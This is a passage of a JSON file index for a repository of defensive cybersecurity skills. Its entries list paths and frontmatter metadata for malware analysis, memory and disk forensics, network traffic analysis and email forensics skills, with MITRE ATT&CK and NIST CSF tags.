Sysinternals Autoruns to systematically enumerate and analyze malware persistence mechanisms across Windows registry run keys, scheduled tasks, services, drivers, and startup locations. Use when hunting for persistence during Windows incident response, triaging a compromised endpoint, or validating that malware autostart entries have been fully identified and removed.","domain":"cybersecurity","subdomain":"malware-analysis","tags":["autoruns","persistence","malware-analysis","sysinternals","windows","registry","startup","incident-response"],"mitre_attack":["T1547.001","T1543.003","T1053.005","T1574.001","T1037.001"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Executable Denylisting","Execution Isolation","File Metadata Consistency Validation","Content Format Conversion","File Content Analysis"],"nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"]},"isInternal":false,"tokens":1105,"sizeBytes":4685},{"name":"api-reference.md","path":"skills/analyzing-malware-sandbox-evasion-techniques/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-malware-sandbox-evasion-techniques/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-sandbox-evasion-techniques%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":573,"sizeBytes":2066},{"name":"SKILL.md","path":"skills/analyzing-malware-sandbox-evasion-techniques/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-malware-sandbox-evasion-techniques/SKILL.md","title":"analyzing-malware-sandbox-evasion-techniques","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-malware-sandbox-evasion-techniques%2FSKILL.md -->","frontmatter":{"name":"analyzing-malware-sandbox-evasion-techniques","description":"Detect sandbox and VM evasion techniques in malware samples by analyzing timing checks, VM/hypervisor artifact queries, user-interaction checks, and sleep-inflation patterns from Cuckoo or AnyRun behavioral reports. Use when a sample shows no or minimal activity in a sandbox, when a behavioral report needs review for evasion indicators, or when building detections for anti-analysis techniques.","domain":"cybersecurity","subdomain":"malware-analysis","tags":["sandbox-evasion","malware-analysis","cuckoo","anyrun","mitre-attack","virtualization-detection","behavioral-analysis"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Platform Hardening","Restore Object","Process Analysis","System Call Filtering","Restore Software"],"nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1497.001","T1497.003","T1480","T1027.002"]},"isInternal":false,"tokens":627,"sizeBytes":2849},{"name":"api-reference.md","path":"skills/analyzing-memory-dumps-with-volatility/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-memory-dumps-with-volatility/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-memory-dumps-with-volatility%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":822,"sizeBytes":3085},{"name":"SKILL.md","path":"skills/analyzing-memory-dumps-with-volatility/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-memory-dumps-with-volatility/SKILL.md","title":"analyzing-memory-dumps-with-volatility","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-memory-dumps-with-volatility%2FSKILL.md -->","frontmatter":{"name":"analyzing-memory-dumps-with-volatility","description":"Analyzes RAM memory dumps from compromised systems using the Volatility framework to identify malicious processes, injected code, network connections, loaded modules, and extracted credentials. Supports Windows, Linux, and macOS memory forensics. Activates for requests involving memory forensics, RAM analysis, volatile data examination, process injection detection, or memory-resident malware investigation.\n","domain":"cybersecurity","subdomain":"malware-analysis","tags":["malware","memory-forensics","Volatility","RAM-analysis","incident-response"],"mitre_attack":["T1055","T1003","T1059","T1620"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"]},"isInternal":false,"tokens":2975,"sizeBytes":11755},{"name":"api-reference.md","path":"skills/analyzing-memory-forensics-with-lime-and-volatility/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-memory-forensics-with-lime-and-volatility/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-memory-forensics-with-lime-and-volatility%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":482,"sizeBytes":1626},{"name":"SKILL.md","path":"skills/analyzing-memory-forensics-with-lime-and-volatility/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-memory-forensics-with-lime-and-volatility/SKILL.md","title":"analyzing-memory-forensics-with-lime-and-volatility","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-memory-forensics-with-lime-and-volatility%2FSKILL.md -->","frontmatter":{"name":"analyzing-memory-forensics-with-lime-and-volatility","description":"Performs Linux memory acquisition using LiME (Linux Memory Extractor) kernel module and analysis with Volatility 3 framework. Extracts process lists, network connections, bash history, loaded kernel modules, and injected code from Linux memory images. Use when performing incident response on compromised Linux systems.\n","domain":"cybersecurity","subdomain":"security-operations","tags":["memory-forensics","linux-forensics","lime","volatility","incident-response","kernel-modules"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"],"mitre_attack":["T1055","T1003.001","T1620","T1564.001"]},"isInternal":false,"tokens":636,"sizeBytes":2524},{"name":"template.md","path":"skills/analyzing-mft-for-deleted-file-recovery/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-mft-for-deleted-file-recovery/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-mft-for-deleted-file-recovery%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":185,"sizeBytes":741},{"name":"api-reference.md","path":"skills/analyzing-mft-for-deleted-file-recovery/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-mft-for-deleted-file-recovery/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-mft-for-deleted-file-recovery%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":538,"sizeBytes":1672},{"name":"standards.md","path":"skills/analyzing-mft-for-deleted-file-recovery/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-mft-for-deleted-file-recovery/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-mft-for-deleted-file-recovery%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":328,"sizeBytes":1169},{"name":"workflows.md","path":"skills/analyzing-mft-for-deleted-file-recovery/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-mft-for-deleted-file-recovery/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-mft-for-deleted-file-recovery%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":257,"sizeBytes":1038},{"name":"SKILL.md","path":"skills/analyzing-mft-for-deleted-file-recovery/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-mft-for-deleted-file-recovery/SKILL.md","title":"analyzing-mft-for-deleted-file-recovery","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-mft-for-deleted-file-recovery%2FSKILL.md -->","frontmatter":{"name":"analyzing-mft-for-deleted-file-recovery","description":"Analyze the NTFS Master File Table ($MFT) with MFTECmd, analyzeMFT, and X-Ways Forensics to recover metadata and content of deleted files by examining MFT record entries, $LogFile, $UsnJrnl, and MFT slack space. Use when recovering evidence of deleted files, reconstructing NTFS file-system timelines, or detecting anti-forensic timestomping during a Windows forensic examination.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["mft","ntfs","deleted-files","file-recovery","mftecmd","usn-journal","logfile","mft-slack-space","file-system-forensics","dfir"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1070.004","T1070.006","T1005"]},"isInternal":false,"tokens":2837,"sizeBytes":10634},{"name":"template.md","path":"skills/analyzing-network-covert-channels-in-malware/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-network-covert-channels-in-malware/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-covert-channels-in-malware%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":114,"sizeBytes":425},{"name":"api-reference.md","path":"skills/analyzing-network-covert-channels-in-malware/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-network-covert-channels-in-malware/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-covert-channels-in-malware%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":741,"sizeBytes":2544},{"name":"standards.md","path":"skills/analyzing-network-covert-channels-in-malware/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-network-covert-channels-in-malware/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-covert-channels-in-malware%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":77,"sizeBytes":313},{"name":"workflows.md","path":"skills/analyzing-network-covert-channels-in-malware/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-network-covert-channels-in-malware/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-covert-channels-in-malware%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":64,"sizeBytes":472},{"name":"SKILL.md","path":"skills/analyzing-network-covert-channels-in-malware/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-network-covert-channels-in-malware/SKILL.md","title":"analyzing-network-covert-channels-in-malware","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-covert-channels-in-malware%2FSKILL.md -->","frontmatter":{"name":"analyzing-network-covert-channels-in-malware","description":"Detect and analyze covert communication channels used by malware, including DNS tunneling, ICMP exfiltration, steganographic HTTP, and other protocol abuse used for C2 and data exfiltration. Use when investigating suspicious DNS/ICMP/HTTP traffic patterns, hunting for hidden C2 channels in network captures, or attributing exfiltration traffic to a known tunneling toolset.","domain":"cybersecurity","subdomain":"malware-analysis","tags":["covert-channels","dns-tunneling","icmp-exfiltration","malware-analysis","network-forensics","c2-detection","data-exfiltration"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["File Metadata Consistency Validation","Certificate Analysis","Application Protocol Command Analysis","Content Format Conversion","File Content Analysis"],"nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1071.001","T1095","T1572","T1001"]},"isInternal":false,"tokens":1919,"sizeBytes":7983},{"name":"api-reference.md","path":"skills/analyzing-network-flow-data-with-netflow/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-network-flow-data-with-netflow/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-flow-data-with-netflow%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":457,"sizeBytes":1615},{"name":"SKILL.md","path":"skills/analyzing-network-flow-data-with-netflow/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-network-flow-data-with-netflow/SKILL.md","title":"analyzing-network-flow-data-with-netflow","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-flow-data-with-netflow%2FSKILL.md -->","frontmatter":{"name":"analyzing-network-flow-data-with-netflow","description":"Parse NetFlow v9 and IPFIX records to detect volumetric anomalies, port scanning, data exfiltration, and C2 beaconing patterns. Uses the Python netflow library to decode flow records, builds traffic baselines, and applies statistical analysis to identify flows with abnormal byte counts, connection durations, and periodic timing patterns.","domain":"cybersecurity","subdomain":"network-security","tags":["analyzing","network","flow","data"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1071","T1048","T1046","T1095"]},"isInternal":false,"tokens":520,"sizeBytes":2172},{"name":"api-reference.md","path":"skills/analyzing-network-packets-with-scapy/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-network-packets-with-scapy/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-packets-with-scapy%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":683,"sizeBytes":2171},{"name":"SKILL.md","path":"skills/analyzing-network-packets-with-scapy/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-network-packets-with-scapy/SKILL.md","title":"analyzing-network-packets-with-scapy","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-packets-with-scapy%2FSKILL.md -->","frontmatter":{"name":"analyzing-network-packets-with-scapy","description":"Use Scapy to craft, send, sniff, and dissect TCP/UDP/ICMP/DNS packets, analyze pcap files, implement SYN scans, and detect anomalous traffic such as fragmented or malformed packets. Use when performing authorized network reconnaissance, protocol-level forensic analysis, or building traffic anomaly detection during security testing.","domain":"cybersecurity","subdomain":"network-security","tags":["scapy","packet-analysis","network-forensics","protocol-dissection","pcap","traffic-analysis"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1040","T1071","T1046","T1557"]},"isInternal":false,"tokens":555,"sizeBytes":2501},{"name":"api-reference.md","path":"skills/analyzing-network-traffic-for-incidents/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-network-traffic-for-incidents/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-traffic-for-incidents%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":868,"sizeBytes":2825},{"name":"SKILL.md","path":"skills/analyzing-network-traffic-for-incidents/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-network-traffic-for-incidents/SKILL.md","title":"analyzing-network-traffic-for-incidents","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-traffic-for-incidents%2FSKILL.md -->","frontmatter":{"name":"analyzing-network-traffic-for-incidents","description":"Analyzes network traffic captures and flow data to identify adversary activity during security incidents, including command-and-control communications, lateral movement, data exfiltration, and exploitation attempts. Uses Wireshark, Zeek, and NetFlow analysis techniques. Activates for requests involving network traffic analysis, packet capture investigation, PCAP analysis, network forensics, C2 traffic detection, or exfiltration detection.\n","domain":"cybersecurity","subdomain":"incident-response","tags":["network-forensics","PCAP-analysis","Wireshark","Zeek","traffic-analysis"],"mitre_attack":["T1071","T1095","T1573","T1572"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.MA-01","RS.MA-02","RS.AN-03","RC.RP-01"]},"isInternal":false,"tokens":2667,"sizeBytes":10605},{"name":"api-reference.md","path":"skills/analyzing-network-traffic-of-malware/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-network-traffic-of-malware/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-traffic-of-malware%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":881,"sizeBytes":2928},{"name":"SKILL.md","path":"skills/analyzing-network-traffic-of-malware/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-network-traffic-of-malware/SKILL.md","title":"analyzing-network-traffic-of-malware","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-traffic-of-malware%2FSKILL.md -->","frontmatter":{"name":"analyzing-network-traffic-of-malware","description":"Analyzes network traffic generated by malware during sandbox execution or live incident response to identify C2 protocols, data exfiltration channels, payload downloads, and lateral movement patterns using Wireshark, Zeek, and Suricata. Activates for requests involving malware network analysis, C2 traffic decoding, malware PCAP analysis, or network-based malware detection.\n","domain":"cybersecurity","subdomain":"malware-analysis","tags":["malware","network-analysis","PCAP","Wireshark","C2-detection"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1071.001","T1571","T1573","T1095"]},"isInternal":false,"tokens":3129,"sizeBytes":11843},{"name":"api-reference.md","path":"skills/analyzing-network-traffic-with-wireshark/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-network-traffic-with-wireshark/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-traffic-with-wireshark%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":940,"sizeBytes":2971},{"name":"SKILL.md","path":"skills/analyzing-network-traffic-with-wireshark/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-network-traffic-with-wireshark/SKILL.md","title":"analyzing-network-traffic-with-wireshark","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-network-traffic-with-wireshark%2FSKILL.md -->","frontmatter":{"name":"analyzing-network-traffic-with-wireshark","description":"Captures and analyzes network packet data using Wireshark and tshark to identify malicious traffic patterns, diagnose protocol issues, extract artifacts, and support incident response investigations on authorized network segments.\n","domain":"cybersecurity","subdomain":"network-security","tags":["network-security","wireshark","packet-analysis","traffic-analysis","pcap"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1040","T1071","T1557","T1046"]},"isInternal":false,"tokens":2744,"sizeBytes":10374},{"name":"api-reference.md","path":"skills/analyzing-office365-audit-logs-for-compromise/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-office365-audit-logs-for-compromise/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-office365-audit-logs-for-compromise%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":704,"sizeBytes":2823},{"name":"SKILL.md","path":"skills/analyzing-office365-audit-logs-for-compromise/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-office365-audit-logs-for-compromise/SKILL.md","title":"analyzing-office365-audit-logs-for-compromise","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-office365-audit-logs-for-compromise%2FSKILL.md -->","frontmatter":{"name":"analyzing-office365-audit-logs-for-compromise","description":"Parse Office 365 Unified Audit Logs via Microsoft Graph API to detect email forwarding rule creation, inbox delegation, suspicious OAuth app grants, and other indicators of account compromise.","domain":"cybersecurity","subdomain":"cloud-security","tags":["Office365","Microsoft-Graph","audit-logs","email-compromise","inbox-rules","OAuth","BEC"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1114.002","T1098.002","T1556.006","T1078.004"]},"isInternal":false,"tokens":512,"sizeBytes":2336},{"name":"api-reference.md","path":"skills/analyzing-outlook-pst-for-email-forensics/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-outlook-pst-for-email-forensics/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-outlook-pst-for-email-forensics%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":629,"sizeBytes":2566},{"name":"standards.md","path":"skills/analyzing-outlook-pst-for-email-forensics/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-outlook-pst-for-email-forensics/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-outlook-pst-for-email-forensics%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":166,"sizeBytes":634},{"name":"workflows.md","path":"skills/analyzing-outlook-pst-for-email-forensics/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-outlook-pst-for-email-forensics/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-outlook-pst-for-email-forensics%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":90,"sizeBytes":397},{"name":"SKILL.md","path":"skills/analyzing-outlook-pst-for-email-forensics/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-outlook-pst-for-email-forensics/SKILL.md","title":"analyzing-outlook-pst-for-email-forensics","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-outlook-pst-for-email-forensics%2FSKILL.md -->","frontmatter":{"name":"analyzing-outlook-pst-for-email-forensics","description":"Parse Microsoft Outlook PST and OST files using libpff and pst-utils to extract message content, headers, attachments, deleted items, and MAPI metadata, including recovery of items from the Recoverable Items folder. Use when conducting email forensic investigations, legal e-discovery, or incident response that requires reconstructing communication patterns or tracing message routing from Outlook archives.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["email-forensics","pst","ost","outlook","mapi","email-headers","attachments","deleted-emails","libpff","eml-extraction"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MANAGE-2.4","MANAGE-3.1","MEASURE-3.1"],"nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1114.001","T1564.008","T1070.008"]},"isInternal":false,"tokens":3012,"sizeBytes":12812},{"name":"api-reference.md","path":"skills/analyzing-packed-malware-with-upx-unpacker/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-packed-malware-with-upx-unpacker/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-packed-malware-with-upx-unpacker%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":863,"sizeBytes":3143},{"name":"SKILL.md","path":"skills/analyzing-packed-malware-with-upx-unpacker/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-packed-malware-with-upx-unpacker/SKILL.md","title":"analyzing-packed-malware-with-upx-unpacker","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-packed-malware-with-upx-unpacker%2FSKILL.md -->","frontmatter":{"name":"analyzing-packed-malware-with-upx-unpacker","description":"Identifies and unpacks UPX-packed malware samples, including binaries with modified UPX magic bytes or headers that block automated decompression, to recover the original executable for static analysis. Use when a sample shows high entropy, minimal imports, or only LoadLibrary/GetProcAddress in its import table, or when preparing a packed binary for disassembly in Ghidra or IDA.\n","domain":"cybersecurity","subdomain":"malware-analysis","tags":["malware","unpacking","UPX","packing","static-analysis"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1027.002","T1140","T1620"]},"isInternal":false,"tokens":3171,"sizeBytes":11891},{"name":"api-reference.md","path":"skills/analyzing-pdf-malware-with-pdfid/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-pdf-malware-with-pdfid/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-pdf-malware-with-pdfid%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":886,"sizeBytes":3465},{"name":"SKILL.md","path":"skills/analyzing-pdf-malware-with-pdfid/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-pdf-malware-with-pdfid/SKILL.md","title":"analyzing-pdf-malware-with-pdfid","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-pdf-malware-with-pdfid%2FSKILL.md -->","frontmatter":{"name":"analyzing-pdf-malware-with-pdfid","description":"Analyzes malicious PDF files using PDFiD, pdf-parser, and peepdf to identify embedded JavaScript, shellcode, exploits, and suspicious objects without opening the document. Determines the attack vector and extracts embedded payloads for further analysis. Activates for requests involving PDF malware analysis, malicious document analysis, PDF exploit investigation, or suspicious attachment triage.\n","domain":"cybersecurity","subdomain":"malware-analysis","tags":["malware","PDF-analysis","document-malware","PDFiD","static-analysis"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01"],"mitre_attack":["T1204.002","T1566.001","T1059.007","T1027"]},"isInternal":false,"tokens":3094,"sizeBytes":12805},{"name":"api-reference.md","path":"skills/analyzing-persistence-mechanisms-in-linux/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-persistence-mechanisms-in-linux/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-persistence-mechanisms-in-linux%2Freferences%2Fapi-reference.md 